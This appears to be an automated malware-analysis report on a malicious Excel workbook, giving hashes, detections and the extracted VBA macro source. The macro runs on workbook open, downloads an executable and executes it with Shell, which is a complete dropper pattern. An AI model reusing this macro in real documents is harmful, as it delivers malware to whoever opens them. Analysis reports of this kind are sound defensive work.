Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9532aea6b72e1721…

MALICIOUS

Office (OOXML)

15.0 KB Created: 2021-04-18 22:45:30 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-04
MD5: a3565506ee8b2778c7c767c2cea814d6 SHA-1: 5dd8a9710d984f5c7aa9beb6a04b0111838de640 SHA-256: 9532aea6b72e1721474e55ed1ba81321de183da26cf4db76b700e92c060dcf32
250 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("C:\myfile.exe")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://localhost In document text (OOXML body / shared strings)
    • http://localhost/aasssx.exeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1531 bytes
SHA-256: 1c73008f71a029b1d2bbc171a6420eca2871526582c0a4beda48129372ba225f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Workbook_Open()
Dim FileNum As Long
Dim FileData() As Byte
Dim WHTTP As Object

mainUrl = "http://localhost"
fileUrl = "http://localhost/aasssx.exe"
filePath = "C:\myfile.exe"

myuser = "xxxxxx"
mypass = "xxxxxx"

j_security_check = "j_username=" & myuser & "j_password=" & mypass

Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")


WHTTP.Open "POST", mainUrl, False 'WHTTP.Open "POST", fileUrl, False
WHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
WHTTP.send j_security_check


WHTTP.Open "GET", fileUrl, False
WHTTP.send

Debug.Print WHTTP.getAllResponseHeaders()

FileData = WHTTP.responseBody
Set WHTTP = Nothing

FileNum = FreeFile
Open filePath For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
Shell ("C:\myfile.exe")
MsgBox "File has been saved!", vbInformation, "Success"

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: e46c4b3577acb997f9f4fd7843dcddfdfafe54b70b55fd83661a44419ddf0df3
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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